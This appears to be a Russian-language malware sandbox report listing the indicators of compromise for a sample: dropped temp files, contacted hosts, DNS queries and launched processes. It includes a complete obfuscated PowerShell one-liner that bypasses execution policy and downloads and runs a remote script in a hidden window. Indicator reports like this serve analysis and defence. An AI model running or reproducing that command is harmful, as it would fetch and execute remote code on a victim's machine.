Техническая информация
- https://allgrace.000webhostapp.com/doc.ps1
- %TEMP%\euzptbkc.0.cs
- %TEMP%\euzptbkc.cmdline
- %TEMP%\euzptbkc.out
- %TEMP%\csc388d.tmp
- %TEMP%\res389d.tmp
- %TEMP%\euzptbkc.dll
- %TEMP%\res389d.tmp
- %TEMP%\csc388d.tmp
- %TEMP%\euzptbkc.0.cs
- %TEMP%\euzptbkc.out
- %TEMP%\euzptbkc.dll
- %TEMP%\euzptbkc.cmdline
- %TEMP%\euzptbkc.pdb
- 'al######.000webhostapp.com':443
- 'no##lty.cl':443
- 'al######.000webhostapp.com':443
- 'no##lty.cl':443
- DNS ASK al######.000webhostapp.com
- DNS ASK no##lty.cl
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -exeCutiO BYpASS -C i`Ex( N`eW-oB`jEct neT.We`BcLi`ENt ).dOwNloadSTrinG('https://allgrace.000webhostapp.com/doc.ps1')' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\euzptbkc.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES389D.tmp" "%TEMP%\CSC388D.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\euzptbkc.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES389D.tmp" "%TEMP%\CSC388D.tmp"